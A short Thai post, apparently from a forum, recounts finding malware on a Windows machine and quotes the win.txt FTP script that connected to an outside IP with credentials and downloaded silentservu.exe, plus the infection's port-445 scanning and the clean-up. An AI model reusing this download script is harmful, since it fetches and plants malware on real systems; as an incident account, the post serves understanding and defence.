พบห้อง winnt
และพบแฟ้ม silentservu.exe และ win.txt
พอเปิดแฟ้ม win.txt ก็พบ
open 66.236.28.61 60000
user rad
radmin
get silentservu.exe c:winntsilentservu.exe
quit
ใช้ ตามนี้ก็ใช้งานได้จริง
ผลการถูกแฮ็ก
คือเครื่องเราแสกนเครื่องชาวบ้านว่าใครเปิด 445 เรียงตามไอพีเลยครับ
อ.แก้ไขตามอาการพักหนึ่งก็หายไป
โดยปิดเอฟทีพี พร้อมฆ่าไวรัส
|